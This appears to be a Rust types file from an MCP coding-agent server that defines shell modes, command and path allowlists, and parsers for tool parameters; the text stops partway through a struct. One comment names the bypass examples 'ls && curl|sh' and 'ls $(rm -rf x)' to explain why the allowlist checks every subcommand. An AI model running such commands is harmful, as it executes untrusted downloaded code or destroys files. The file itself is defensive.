Skip to main content

winx_code_agent/
types.rs

1use schemars::JsonSchema;
2use serde::{Deserialize, Serialize};
3
4pub fn normalize_thread_id(thread_id: &str) -> String {
5    let filtered: String = thread_id.chars().filter(|c| c.is_alphanumeric() || *c == '_').collect();
6    // If filtering removed characters, distinct ids could collapse to the same
7    // form ("user-1" and "user1" both become "user1"), silently sharing one
8    // session and one state file. Append a short, stable hash of the ORIGINAL so
9    // distinct inputs stay distinct. Already-safe ids (the common case, incl.
10    // generated `tid_*`) and ids that filter to empty are returned unchanged.
11    if filtered.is_empty() || filtered == thread_id {
12        filtered
13    } else {
14        format!("{filtered}_{:08x}", fnv1a_32(thread_id))
15    }
16}
17
18/// Marker strings (literal or regex) that let `wait_for_turn` drive an arbitrary
19/// interactive TUI without a hand-written recognizer. Loaded from the
20/// `WINX_TURN_RECOGNIZER_CONFIG` env var (JSON) when the recognizer hint is
21/// `configurable`. Each marker is matched case-insensitively; an invalid regex
22/// falls back to a literal-substring match.
23#[derive(Debug, Clone, Default, Deserialize)]
24pub struct TurnRecognizerMarkers {
25    /// Screen is actively working (scanned across the whole screen). E.g.
26    /// `["esc to interrupt", "generating"]`.
27    #[serde(default)]
28    pub busy: Vec<String>,
29    /// Screen is waiting for input (scanned in the tail). E.g. `["❯", "›"]`.
30    #[serde(default)]
31    pub awaiting_input: Vec<String>,
32    /// Screen is asking for confirmation (scanned in the tail). E.g.
33    /// `["do you want", "y/n"]`.
34    #[serde(default)]
35    pub awaiting_approval: Vec<String>,
36}
37
38impl TurnRecognizerMarkers {
39    /// True when no markers are configured (nothing to recognize).
40    pub fn is_empty(&self) -> bool {
41        self.busy.is_empty() && self.awaiting_input.is_empty() && self.awaiting_approval.is_empty()
42    }
43}
44
45/// FNV-1a 32-bit — a tiny, dependency-free hash that is stable across runs and
46/// compiler versions (unlike `DefaultHasher`), so a normalized `thread_id`
47/// resolves to the same session and state file after a server restart.
48fn fnv1a_32(s: &str) -> u32 {
49    let mut hash: u32 = 0x811c_9dc5;
50    for byte in s.bytes() {
51        hash ^= u32::from(byte);
52        hash = hash.wrapping_mul(0x0100_0193);
53    }
54    hash
55}
56
57/// Type of shell environment initialization
58///
59/// This enum represents the different ways the Initialize tool can be called,
60/// depending on the current state of the conversation and what the user is requesting.
61#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
62#[serde(rename_all = "snake_case")]
63pub enum InitializeType {
64    /// Initial call at the start of a conversation
65    ///
66    /// This should be used for the first Initialize call in a conversation.
67    /// It sets up a new shell environment with the specified parameters.
68    FirstCall,
69
70    /// User requested to change the mode
71    ///
72    /// This should be used when the user asks to switch between modes
73    /// (e.g., from "wcgw" to "architect" or "`code_writer`").
74    UserAskedModeChange,
75
76    /// Reset the shell environment due to issues
77    ///
78    /// This should be used when the shell environment appears to be in a bad state
79    /// and needs to be reset to continue properly.
80    ResetShell,
81
82    /// User requested to change the workspace
83    ///
84    /// This should be used when the user asks to switch to a different
85    /// workspace or project directory during the conversation.
86    UserAskedChangeWorkspace,
87}
88
89#[derive(Debug, Clone, PartialEq)]
90pub enum ModeName {
91    Wcgw,
92    Architect,
93    CodeWriter,
94}
95
96// Custom serializer implementation to ensure values are properly quoted in JSON
97impl Serialize for ModeName {
98    fn serialize<S>(&self, serializer: S) -> Result<S::Ok, S::Error>
99    where
100        S: serde::Serializer,
101    {
102        match self {
103            ModeName::Wcgw => serializer.serialize_str("wcgw"),
104            ModeName::Architect => serializer.serialize_str("architect"),
105            ModeName::CodeWriter => serializer.serialize_str("code_writer"),
106        }
107    }
108}
109
110// Custom deserializer to support multiple aliases
111impl<'de> Deserialize<'de> for ModeName {
112    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
113    where
114        D: serde::Deserializer<'de>,
115    {
116        let s = String::deserialize(deserializer)?;
117        match s.as_str() {
118            "wcgw" => Ok(ModeName::Wcgw),
119            "architect" => Ok(ModeName::Architect),
120            "code_writer" | "code_write" | "code-writer" => Ok(ModeName::CodeWriter),
121            _ => Err(serde::de::Error::custom(format!("Unknown mode name: {s}"))),
122        }
123    }
124}
125
126// Custom JsonSchema (we removed the derive for the hand-written ser/de above).
127// Emit the concrete string enum INLINE — a previous version returned a `$ref` to
128// `#/definitions/ModeName`, a node that was never populated. Lenient clients
129// (Claude Code) ignored the dangling ref, but strict MCP clients (Cline, and
130// likely ChatGPT) reject the whole tool call: "Reference not found:
131// #/definitions/ModeName". The variants mirror the Serialize impl above.
132impl JsonSchema for ModeName {
133    fn schema_name() -> std::borrow::Cow<'static, str> {
134        "ModeName".into()
135    }
136
137    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
138        schemars::json_schema!({
139            "type": "string",
140            "enum": ["wcgw", "architect", "code_writer"],
141            "description": "Shell mode: wcgw (full), architect (read-only), code_writer (custom)"
142        })
143    }
144}
145
146#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq, Default)]
147pub struct CodeWriterConfig {
148    #[serde(default)]
149    pub allowed_globs: AllowedGlobs,
150    #[serde(default)]
151    pub allowed_commands: AllowedCommands,
152}
153
154impl CodeWriterConfig {
155    pub fn update_relative_globs(&mut self, workspace_root: &str) {
156        // Only process if we have a list of globs
157        if let AllowedGlobs::List(globs) = &self.allowed_globs {
158            let updated_globs = globs
159                .iter()
160                .map(|glob| {
161                    if std::path::Path::new(glob).is_absolute() {
162                        glob.clone()
163                    } else {
164                        format!("{workspace_root}/{glob}")
165                    }
166                })
167                .collect();
168
169            self.allowed_globs = AllowedGlobs::List(updated_globs);
170        }
171    }
172}
173
174#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
175#[serde(untagged)]
176pub enum AllowedGlobs {
177    All(String),
178    List(Vec<String>),
179}
180
181impl Default for AllowedGlobs {
182    fn default() -> Self {
183        AllowedGlobs::All("all".to_string())
184    }
185}
186
187impl AllowedGlobs {
188    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
189    /// Without this, a literal glob named "all" would be the only allowed path.
190    pub fn normalize(&mut self) {
191        if let AllowedGlobs::List(items) = self {
192            if items.len() == 1 && items[0] == "all" {
193                *self = AllowedGlobs::All("all".to_string());
194            }
195        }
196    }
197
198    #[allow(dead_code)]
199    pub fn is_allowed(&self, path: &str) -> bool {
200        match self {
201            AllowedGlobs::All(s) if s == "all" => true,
202            AllowedGlobs::List(globs) => globs.iter().any(|g| match glob::Pattern::new(g) {
203                Ok(pattern) => pattern.matches(path),
204                Err(_) => false,
205            }),
206            AllowedGlobs::All(_) => false,
207        }
208    }
209}
210
211#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone, PartialEq)]
212#[serde(untagged)]
213pub enum AllowedCommands {
214    All(String),
215    List(Vec<String>),
216}
217
218impl Default for AllowedCommands {
219    fn default() -> Self {
220        AllowedCommands::All("all".to_string())
221    }
222}
223
224impl AllowedCommands {
225    /// Collapse the common LLM mistake `["all"]` into the wildcard `All("all")`.
226    pub fn normalize(&mut self) {
227        if let AllowedCommands::List(items) = self {
228            if items.len() == 1 && items[0] == "all" {
229                *self = AllowedCommands::All("all".to_string());
230            }
231        }
232    }
233
234    pub fn is_allowed(&self, command_line: &str) -> bool {
235        match self {
236            AllowedCommands::All(s) if s == "all" => true,
237            AllowedCommands::All(_) => false,
238            AllowedCommands::List(commands) => {
239                // Enforce the allowlist against EVERY command the line would run
240                // (pipelines, &&/||/;, command & process substitution, subshells),
241                // not just the first whitespace token — which `ls && curl|sh` and
242                // `ls $(rm -rf x)` trivially bypassed. A parse failure is fail
243                // closed: a restricted mode must not run what it can't vet.
244                match crate::utils::bash_parser::extract_command_texts(command_line) {
245                    Ok(cmds) if !cmds.is_empty() => cmds
246                        .iter()
247                        .all(|cmd| commands.iter().any(|allowed| command_has_prefix(cmd, allowed))),
248                    _ => false,
249                }
250            }
251        }
252    }
253}
254
255/// Whether `cmd` is the allowlist entry `allowed` or a sub-invocation of it,
256/// enforcing a word boundary so `ls` does not also permit `lsof`, and
257/// `cargo test` does not permit `cargo testimony`.
258fn command_has_prefix(cmd: &str, allowed: &str) -> bool {
259    let cmd = cmd.trim();
260    let allowed = allowed.trim();
261    if allowed.is_empty() {
262        return false;
263    }
264    cmd == allowed
265        || cmd.strip_prefix(allowed).is_some_and(|rest| rest.starts_with(char::is_whitespace))
266}
267
268/// Parameters for initializing the shell environment
269///
270/// This struct represents the parameters needed to initialize or update the shell environment.
271/// It is used by the Initialize tool, which must be called before any other shell tools.
272#[derive(Debug, Serialize, Deserialize, JsonSchema, Clone)]
273pub struct Initialize {
274    /// Initialization type, indicating the purpose of the call
275    ///
276    /// - `FirstCall`: Initial setup for a new conversation
277    /// - `UserAskedModeChange`: User requested to change the mode during a conversation
278    /// - `ResetShell`: Reset the shell if it's not working properly
279    /// - `UserAskedChangeWorkspace`: User requested to change the workspace during a conversation
280    #[serde(rename = "type")]
281    #[serde(default = "default_init_type")]
282    pub init_type: InitializeType,
283
284    /// Path to the workspace directory or file
285    ///
286    /// This can be an absolute path or a path relative to the current directory.
287    /// If it's a file, the parent directory will be used as the workspace.
288    /// If it doesn't exist and is an absolute path, it will be created.
289    /// If it's a relative path and doesn't exist, an error will be returned.
290    pub any_workspace_path: String,
291
292    /// List of files to read initially
293    ///
294    /// These files can be absolute paths or paths relative to the workspace.
295    /// They will be read and their contents provided in the response.
296    #[serde(default)]
297    pub initial_files_to_read: Vec<String>,
298
299    /// ID of a task to resume
300    ///
301    /// If provided during a `first_call`, the task with this ID will be resumed.
302    /// This allows continuing a conversation from a previous session.
303    #[serde(default = "String::new")]
304    #[serde(deserialize_with = "deserialize_string_or_null")]
305    pub task_id_to_resume: String,
306
307    /// Mode name for the shell environment
308    ///
309    /// - `wcgw`: Full permissions (default)
310    /// - `architect`: Restricted permissions, read-only
311    /// - `code_writer`: Custom permissions for code writing
312    #[serde(default = "default_mode_name")]
313    pub mode_name: ModeName,
314
315    /// ID of the thread session
316    ///
317    /// If not provided for a `first_call`, a new ID will be generated.
318    /// This ID must be included in all subsequent tool calls.
319    #[serde(default)]
320    #[serde(deserialize_with = "deserialize_string_or_null")]
321    pub thread_id: String,
322
323    /// Configuration for `code_writer` mode
324    ///
325    /// Only used when `mode_name` is "`code_writer`".
326    /// Specifies allowed commands and file globs for writing/editing.
327    #[serde(default)]
328    #[serde(deserialize_with = "deserialize_code_writer_config")]
329    pub code_writer_config: Option<CodeWriterConfig>,
330}
331
332// Custom deserializer for strings that might be null
333fn deserialize_string_or_null<'de, D>(deserializer: D) -> Result<String, D::Error>
334where
335    D: serde::Deserializer<'de>,
336{
337    // First try to deserialize as a string
338    let result = serde_json::Value::deserialize(deserializer)?;
339
340    match result {
341        // Return empty string for null values
342        serde_json::Value::Null => Ok(String::new()),
343        // If it's a string, use that
344        serde_json::Value::String(s) => {
345            // Handle "null" string specially
346            if s == "null" {
347                Ok(String::new())
348            } else {
349                Ok(s)
350            }
351        }
352        // Otherwise try to convert to a string
353        _ => match serde_json::to_string(&result) {
354            Ok(s) => Ok(s),
355            Err(_) => Ok(String::new()),
356        },
357    }
358}
359
360// Custom deserializer for code_writer_config that handles the "null" string case
361fn deserialize_code_writer_config<'de, D>(
362    deserializer: D,
363) -> Result<Option<CodeWriterConfig>, D::Error>
364where
365    D: serde::Deserializer<'de>,
366{
367    // This handles multiple possible input types
368    let value = serde_json::Value::deserialize(deserializer)?;
369
370    match value {
371        // If it's explicitly null or the string "null", return None
372        serde_json::Value::Null => Ok(None),
373        serde_json::Value::String(s) if s == "null" => Ok(None),
374        // Otherwise try to parse it as CodeWriterConfig
375        _ => {
376            match serde_json::from_value::<CodeWriterConfig>(value.clone()) {
377                Ok(config) => {
378                    tracing::debug!("Successfully parsed CodeWriterConfig: {:?}", config);
379                    Ok(Some(config))
380                }
381                Err(e) => {
382                    // Fail loud. A malformed restricted-mode config must NOT silently
383                    // degrade to `None` — `None` falls back to All commands / All globs,
384                    // so the model would believe the shell is locked down while it is in
385                    // fact wide open. Refuse to initialize instead.
386                    tracing::error!("Failed to parse CodeWriterConfig: {}. Value: {}", e, value);
387                    Err(serde::de::Error::custom(format!(
388                        "Invalid code_writer config: {e}. Refusing to start with a permissive \
389                         fallback — fix the allowed_commands / allowed_globs shape (or pass null \
390                         to opt out explicitly)."
391                    )))
392                }
393            }
394        }
395    }
396}
397
398/// Default `mode_name` for Initialize
399fn default_mode_name() -> ModeName {
400    ModeName::Wcgw
401}
402
403/// Default `init_type` for Initialize
404fn default_init_type() -> InitializeType {
405    InitializeType::FirstCall
406}
407
408// Mode types
409#[derive(Debug, Clone, Copy, PartialEq)]
410pub enum Modes {
411    Wcgw,
412    Architect,
413    CodeWriter,
414}
415
416/// Convert the wire-level `ModeName` (parsed from the `Initialize` request, with
417/// its alias spellings) into the runtime `Modes`. Done as `From` rather than a
418/// hand-written `convert_mode_name` so the compiler enforces that every `ModeName`
419/// variant maps to a `Modes` one — adding a variant to either enum without the
420/// other becomes a compile error here.
421impl From<&ModeName> for Modes {
422    fn from(name: &ModeName) -> Self {
423        match name {
424            ModeName::Wcgw => Modes::Wcgw,
425            ModeName::Architect => Modes::Architect,
426            ModeName::CodeWriter => Modes::CodeWriter,
427        }
428    }
429}
430
431impl std::fmt::Display for Modes {
432    fn fmt(&self, f: &mut std::fmt::Formatter<'_>) -> std::fmt::Result {
433        match self {
434            Modes::Wcgw => write!(f, "wcgw"),
435            Modes::Architect => write!(f, "architect"),
436            Modes::CodeWriter => write!(f, "code_writer"),
437        }
438    }
439}
440
441// Inline string enum, same reasoning as `ModeName` above: a `$ref` to
442// `#/definitions/Modes` was dangling and breaks strict MCP clients.
443impl JsonSchema for Modes {
444    fn schema_name() -> std::borrow::Cow<'static, str> {
445        "Modes".into()
446    }
447
448    fn json_schema(_gen: &mut schemars::SchemaGenerator) -> schemars::Schema {
449        schemars::json_schema!({
450            "type": "string",
451            "enum": ["wcgw", "architect", "code_writer"]
452        })
453    }
454}
455
456/// Special key types for shell interaction
457/// Matches wcgw Python's Specials enum exactly
458#[derive(Debug, Clone, Copy, PartialEq, Eq, Serialize, Deserialize, JsonSchema)]
459pub enum SpecialKey {
460    Enter,
461    #[serde(rename = "Key-up")]
462    KeyUp,
463    #[serde(rename = "Key-down")]
464    KeyDown,
465    #[serde(rename = "Key-left")]
466    KeyLeft,
467    #[serde(rename = "Key-right")]
468    KeyRight,
469    #[serde(rename = "Ctrl-c")]
470    CtrlC,
471    #[serde(rename = "Ctrl-d")]
472    CtrlD,
473    #[serde(rename = "Ctrl-z")]
474    CtrlZ,
475}
476
477/// Parameters for the `ReadFiles` tool
478///
479/// This struct represents the parameters needed to read one or more files.
480/// Line ranges can be specified in the path itself (e.g., "file.rs:10-20").
481#[derive(Debug, Clone, Serialize, JsonSchema)]
482pub struct ReadFiles {
483    /// List of file paths to read.
484    /// Supports line range syntax: "file.rs:10-20" for lines 10-20,
485    /// "file.rs:10-" for line 10 onwards, "file.rs:-20" for first 20 lines.
486    pub file_paths: Vec<String>,
487
488    /// Optional thread ID identifying the shell session to operate on. When
489    /// omitted, the most recently active session is used.
490    #[serde(default)]
491    pub thread_id: String,
492
493    // Internal fields - not part of MCP schema (parsed from file_paths)
494    #[serde(skip)]
495    #[schemars(skip)]
496    pub start_line_nums: Vec<Option<usize>>,
497
498    #[serde(skip)]
499    #[schemars(skip)]
500    pub end_line_nums: Vec<Option<usize>>,
501}
502
503// Custom deserializer for ReadFiles - parses line ranges from file paths like wcgw Python
504impl<'de> Deserialize<'de> for ReadFiles {
505    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
506    where
507        D: serde::Deserializer<'de>,
508    {
509        #[derive(Deserialize)]
510        struct ReadFilesHelper {
511            file_paths: Option<Vec<String>>,
512            #[serde(default)]
513            thread_id: Option<String>,
514        }
515
516        let input = serde_json::Value::deserialize(deserializer)?;
517
518        if !input.is_object() {
519            if input.is_null() {
520                return Err(serde::de::Error::custom("Cannot convert null to ReadFiles object."));
521            }
522            return Err(serde::de::Error::custom(format!("Expected object, got {input}")));
523        }
524
525        let helper: ReadFilesHelper = serde_json::from_value(input)
526            .map_err(|e| serde::de::Error::custom(format!("Failed to parse ReadFiles: {e}")))?;
527
528        let thread_id = helper.thread_id.unwrap_or_default();
529        let file_paths = match helper.file_paths {
530            Some(paths) if !paths.is_empty() => paths,
531            Some(_) => return Err(serde::de::Error::custom("file_paths must not be empty.")),
532            None => return Err(serde::de::Error::custom("file_paths is required.")),
533        };
534
535        // Parse line ranges from file paths (like wcgw Python's model_post_init)
536        let mut clean_file_paths = Vec::with_capacity(file_paths.len());
537        let mut start_line_nums = Vec::with_capacity(file_paths.len());
538        let mut end_line_nums = Vec::with_capacity(file_paths.len());
539
540        for path in file_paths {
541            let (clean_path, start, end) = parse_file_path_with_line_range(&path);
542            clean_file_paths.push(clean_path);
543            start_line_nums.push(start);
544            end_line_nums.push(end);
545        }
546
547        Ok(ReadFiles { file_paths: clean_file_paths, thread_id, start_line_nums, end_line_nums })
548    }
549}
550
551fn parse_file_path_with_line_range(path: &str) -> (String, Option<usize>, Option<usize>) {
552    let Some((potential_path, line_spec)) = path.rsplit_once(':') else {
553        return (path.to_string(), None, None);
554    };
555
556    let Some((start, end)) = parse_line_spec(line_spec) else {
557        return (path.to_string(), None, None);
558    };
559
560    (potential_path.to_string(), start, end)
561}
562
563fn parse_line_spec(line_spec: &str) -> Option<(Option<usize>, Option<usize>)> {
564    if line_spec.chars().all(|c| c.is_ascii_digit()) {
565        return line_spec.parse().ok().map(|line| (Some(line), None));
566    }
567
568    let (start, end) = line_spec.split_once('-')?;
569
570    if start.is_empty() && !end.is_empty() && end.chars().all(|c| c.is_ascii_digit()) {
571        return end.parse().ok().map(|line| (None, Some(line)));
572    }
573
574    if !start.is_empty()
575        && start.chars().all(|c| c.is_ascii_digit())
576        && (end.is_empty() || end.chars().all(|c| c.is_ascii_digit()))
577    {
578        let start = start.parse().ok()?;
579        let end = if end.is_empty() { None } else { Some(end.parse().ok()?) };
580        return Some((Some(start), end));
581    }
582
583    None
584}
585
586impl ReadFiles {
587    /// Line numbers are always shown (like wcgw Python)
588    pub fn show_line_numbers(&self) -> bool {
589        true
590    }
591
592    /// Get the clean file path without line range suffix
593    pub fn get_clean_path(&self, index: usize) -> String {
594        parse_file_path_with_line_range(&self.file_paths[index]).0
595    }
596}
597
598/// Default true value for `status_check`
599fn default_true() -> bool {
600    true
601}
602
603/// Types of actions that can be performed with the `BashCommand` tool
604#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
605#[serde(tag = "type", rename_all = "snake_case")]
606pub enum BashCommandAction {
607    /// Execute a shell command
608    Command {
609        command: String,
610        #[serde(default)]
611        is_background: bool,
612        /// Opt out of the single-top-level-statement guard. By default winx
613        /// rejects multi-statement commands (`a; b`, `a && b; c`, etc.) so the
614        /// agent has to be explicit about what it's running. Set this to true
615        /// when you knowingly want to run a composite command without
616        /// wrapping it in `bash -lc '...'`.
617        #[serde(default)]
618        allow_multi: bool,
619    },
620
621    /// Check the status of a running command.
622    ///
623    /// By default returns only what changed since the previous call — agents
624    /// driving long-lived TUIs do not need the cumulative buffer on every poll.
625    /// Set `verbose: true` to receive a fresh snapshot regardless of the dedup
626    /// hash, or `scrollback_lines: Some(N)` to also pull the last N lines from
627    /// the PTY ringbuffer.
628    StatusCheck {
629        #[serde(default = "default_true")]
630        status_check: bool,
631        bg_command_id: Option<String>,
632        #[serde(default)]
633        scrollback_lines: Option<usize>,
634        #[serde(default)]
635        verbose: bool,
636    },
637
638    /// Send text to a running command. Set `submit` to true to append a carriage
639    /// return after the bytes so the target program receives the input as a
640    /// completed line (matches what hitting Enter would do in a TUI).
641    SendText {
642        send_text: String,
643        bg_command_id: Option<String>,
644        #[serde(default)]
645        submit: bool,
646    },
647
648    /// Send special keys to a running command. `submit` works the same as in
649    /// `SendText`.
650    SendSpecials {
651        send_specials: Vec<SpecialKey>,
652        bg_command_id: Option<String>,
653        #[serde(default)]
654        submit: bool,
655    },
656
657    /// Send ASCII characters to a running command. `submit` works the same as in
658    /// `SendText`.
659    SendAscii {
660        send_ascii: Vec<u8>,
661        bg_command_id: Option<String>,
662        #[serde(default)]
663        submit: bool,
664    },
665
666    /// Snapshot the live, stable screen of a shell's terminal: the consolidated
667    /// view a human would see right now (cursor moves, redraws, alternate-screen
668    /// and synchronized-output already applied), ANSI stripped. Unlike
669    /// `status_check`, it never stacks redraw generations and never waits — a
670    /// point-in-time photo, ideal for reading an interactive TUI's current frame
671    /// (the `claude` CLI, vim, htop, fzf).
672    Screen {
673        #[serde(default = "default_true")]
674        screen: bool,
675        bg_command_id: Option<String>,
676        /// Last N visible lines to return (0 or omitted = full screen buffer).
677        #[serde(default)]
678        lines: Option<usize>,
679        /// When true, return only the lines that CHANGED since the last `screen`
680        /// look (big token savings when polling a TUI frame-by-frame) instead of
681        /// the whole frame. First look, or a large change, still returns full.
682        #[serde(default)]
683        diff: bool,
684    },
685
686    /// Block until an interactive TUI finishes its turn and is ready for input.
687    /// Combines generic quiescence (the screen stopped changing for `quiet_ms`)
688    /// with a per-app recognizer, then returns the stable snapshot plus the
689    /// detected turn state (`busy` / `awaiting_input` / `awaiting_approval`).
690    WaitForTurn {
691        #[serde(default = "default_true")]
692        wait_for_turn: bool,
693        bg_command_id: Option<String>,
694        /// Recognizer hint: `auto` (default), `claude`, `codex`, `antigravity`
695        /// (aka `agy`) or `generic`.
696        #[serde(default)]
697        recognizer: Option<String>,
698        /// Quiet window in ms — the screen must be unchanged this long to count
699        /// as idle (default 600).
700        #[serde(default)]
701        quiet_ms: Option<u64>,
702        /// Hard cap in seconds before returning regardless (default 30).
703        #[serde(default)]
704        timeout_seconds: Option<f32>,
705        /// Visible lines to return in the final snapshot (0 or omitted = full).
706        #[serde(default)]
707        lines: Option<usize>,
708        /// By default `wait_for_turn` returns as soon as it confirms the app is
709        /// actively working (`busy`), instead of blocking until the turn ends or
710        /// `timeout_seconds` elapses — so a long-running child never pins the
711        /// caller for the whole cap (poll again to keep watching). Set this to
712        /// true for the old behavior: block *through* `busy` until the app is
713        /// ready for input (or the timeout fires).
714        #[serde(default)]
715        wait_through_busy: bool,
716    },
717}
718
719/// Parameters for the `BashCommand` tool
720#[derive(Debug, Clone, Serialize, JsonSchema)]
721pub struct BashCommand {
722    /// The action to perform (command, status check, etc.)
723    pub action_json: BashCommandAction,
724
725    /// Optional timeout in seconds to wait for command completion
726    #[serde(default)]
727    #[serde(skip_serializing_if = "Option::is_none")]
728    pub wait_for_seconds: Option<f32>,
729
730    /// The thread ID for this session
731    #[serde(default)]
732    pub thread_id: String,
733}
734
735// Custom deserialization for BashCommand to handle string-encoded action_json
736impl<'de> Deserialize<'de> for BashCommand {
737    fn deserialize<D>(deserializer: D) -> Result<Self, D::Error>
738    where
739        D: serde::Deserializer<'de>,
740    {
741        let input = serde_json::Value::deserialize(deserializer)?;
742        let serde_json::Value::Object(mut map) = input else {
743            return Err(serde::de::Error::custom("BashCommand parameters must be an object."));
744        };
745
746        let wait_for_seconds = map
747            .remove("wait_for_seconds")
748            .map(serde_json::from_value)
749            .transpose()
750            .map_err(serde::de::Error::custom)?;
751        let thread_id = map
752            .remove("thread_id")
753            .map(thread_id_from_value)
754            .transpose()
755            .map_err(serde::de::Error::custom)?
756            .unwrap_or_default();
757        let action_json_value = map.remove("action_json").unwrap_or(serde_json::Value::Object(map));
758
759        // Process action_json which could be a string or an object
760        let action_json = match action_json_value {
761            serde_json::Value::String(s) => {
762                // If it's a string, normalize newlines and try to parse it as JSON
763                // Replace literal newlines with space to avoid JSON parsing errors
764                let sanitized = s.replace('\n', " ");
765                match serde_json::from_str(&sanitized) {
766                    Ok(json) => normalize_action_json(json),
767                    Err(e) => {
768                        // If strict JSON parsing fails, try to be more lenient
769                        // For commands containing literal newlines, just wrap the string in a command object
770                        tracing::warn!(
771                            "Failed to parse action_json as JSON, trying fallback: {}",
772                            e
773                        );
774
775                        // Check for common JSON syntax issues
776                        if s.contains("command") && s.contains('{') && s.contains('}') {
777                            // It looks like JSON but has issues, let's try to sanitize it
778
779                            // Detailed error for troubleshooting
780                            tracing::debug!(bytes = s.len(), "JSON parse error in action_json");
781
782                            // Common issues: unescaped quotes, newlines, tabs
783                            let re_sanitized = s
784                                .replace('\n', "\\n") // Replace newlines with escaped newlines
785                                .replace('\r', "\\r") // Replace carriage returns with escaped versions
786                                .replace('\t', "\\t"); // Replace tabs with escaped versions
787
788                            // Attempt to fix unquoted field values (e.g., convert {field: value} to {"field": "value"})
789                            let re_sanitized = if !s.contains('"') && s.contains(':') {
790                                // Very likely unquoted keys/values
791                                tracing::debug!("Attempting to fix unquoted JSON keys/values");
792                                re_sanitized
793                            } else {
794                                re_sanitized
795                            };
796
797                            match serde_json::from_str(&re_sanitized) {
798                                Ok(json) => normalize_action_json(json),
799                                Err(err) => {
800                                    // Log the specific parsing error for debugging
801                                    tracing::error!("Secondary JSON parse error: {}", err);
802                                    // Last resort fallback - assume it's a command string
803                                    // MUST include "type": "command" for serde tagged enum
804                                    serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
805                                }
806                            }
807                        } else {
808                            // Assume it's a simple command string
809                            // MUST include "type": "command" for serde tagged enum
810                            tracing::info!(
811                                bytes = s.len(),
812                                "Treating action_json as simple command"
813                            );
814                            serde_json::json!({"type": "command", "command": sanitize_shell_string(&s)})
815                        }
816                    }
817                }
818            }
819            // If it's already an object or other JSON value, normalize legacy
820            // WCGW-style shorthand such as {"command": "..."}.
821            value => normalize_action_json(value),
822        };
823
824        // Now deserialize the action_json to our BashCommandAction enum
825        let mut action: BashCommandAction =
826            serde_json::from_value(action_json.clone()).map_err(|e| {
827                tracing::error!(
828                    bytes = action_json.to_string().len(),
829                    "Failed to deserialize action_json to BashCommandAction: {}",
830                    e
831                );
832
833                // For the SyntaxError: Unexpected token case
834                let err_str = e.to_string();
835                if err_str.contains("unexpected token") || err_str.contains("Unexpected token") {
836                    return serde::de::Error::custom(format!(
837                        "JSON syntax error: {e}. Please check your JSON structure. Each field name should be in quotes, and string values should be in quotes."
838                    ));
839                }
840
841                serde::de::Error::custom(format!(
842                    "Invalid action_json: {e}. Please ensure your JSON is properly formatted."
843                ))
844            })?;
845
846        // Return the properly constructed BashCommand
847        Ok(BashCommand {
848            action_json: action,
849            wait_for_seconds,
850            thread_id: normalize_thread_id(&thread_id),
851        })
852    }
853}
854
855fn thread_id_from_value(value: serde_json::Value) -> std::result::Result<String, String> {
856    match value {
857        serde_json::Value::Null => Ok(String::new()),
858        serde_json::Value::String(value) => Ok(value),
859        other => Err(format!("thread_id must be a string or null, got {other}")),
860    }
861}
862
863fn normalize_action_json(mut value: serde_json::Value) -> serde_json::Value {
864    let serde_json::Value::Object(map) = &mut value else {
865        return value;
866    };
867
868    if let Some(serde_json::Value::String(command)) = map.get_mut("command") {
869        *command = sanitize_shell_string(command);
870    }
871
872    if map.contains_key("type") {
873        return value;
874    }
875
876    let inferred_type = if map.contains_key("command") {
877        Some("command")
878    } else if map.contains_key("status_check") {
879        Some("status_check")
880    } else if map.contains_key("send_text") {
881        Some("send_text")
882    } else if map.contains_key("send_specials") {
883        Some("send_specials")
884    } else if map.contains_key("send_ascii") {
885        Some("send_ascii")
886    } else if map.contains_key("screen") {
887        Some("screen")
888    } else if map.contains_key("wait_for_turn") {
889        Some("wait_for_turn")
890    } else {
891        None
892    };
893
894    if let Some(action_type) = inferred_type {
895        map.insert("type".to_string(), serde_json::Value::String(action_type.to_string()));
896    }
897
898    value
899}
900
901fn sanitize_shell_string(value: &str) -> String {
902    value.replace('\0', "\\x00")
903}
904
905// Bash command mode
906#[derive(Debug, Clone, JsonSchema, PartialEq)]
907pub struct BashCommandMode {
908    pub bash_mode: BashMode,
909    pub allowed_commands: AllowedCommands,
910}
911
912#[derive(Debug, Clone, Copy, JsonSchema, PartialEq)]
913pub enum BashMode {
914    NormalMode,
915    RestrictedMode,
916}
917
918// File edit mode
919#[derive(Debug, Clone, JsonSchema, PartialEq)]
920pub struct FileEditMode {
921    pub allowed_globs: AllowedGlobs,
922}
923
924// Write if empty mode
925#[derive(Debug, Clone, JsonSchema, PartialEq)]
926pub struct WriteIfEmptyMode {
927    pub allowed_globs: AllowedGlobs,
928}
929
930/// Parameters for the `FileWriteOrEdit` tool
931///
932/// This struct represents the parameters needed to write or edit a file
933/// with optional search/replace blocks for partial edits.
934#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
935pub struct FileWriteOrEdit {
936    /// Path to the file to write or edit
937    ///
938    /// This must be an absolute path (~ allowed).
939    pub file_path: String,
940
941    /// Percentage of the file that will be changed
942    ///
943    /// If > 50%, the content is treated as the entire file content.
944    /// If <= 50%, the content is treated as search/replace blocks.
945    pub percentage_to_change: u32,
946
947    /// Content for the file or search/replace blocks
948    ///
949    /// If `percentage_to_change` > 50%, this is the entire file content.
950    /// If `percentage_to_change` <= 50%, this contains search/replace blocks
951    /// in the format:
952    /// ```text
953    /// <<<<<<< SEARCH
954    /// old content to find
955    /// =======
956    /// new content to replace with
957    /// >>>>>>> REPLACE
958    /// ```
959    pub text_or_search_replace_blocks: String,
960
961    /// The thread ID for this session
962    pub thread_id: String,
963}
964
965/// One file's worth of edits in a [`MultiFileEdit`] batch. Same semantics as the
966/// corresponding [`FileWriteOrEdit`] fields.
967#[derive(Debug, Clone, Serialize, Deserialize, JsonSchema)]
968pub struct FileEditEntry {
969    /// Path to the file to write or edit (absolute, ~ allowed).
970    pub file_path: String,
971    /// If > 50%, the content is the entire file; if <= 50%, search/replace blocks.
972    pub percentage_to_change: u32,
973    /// Full file content or search/replace blocks (see `FileWriteOrEdit`).
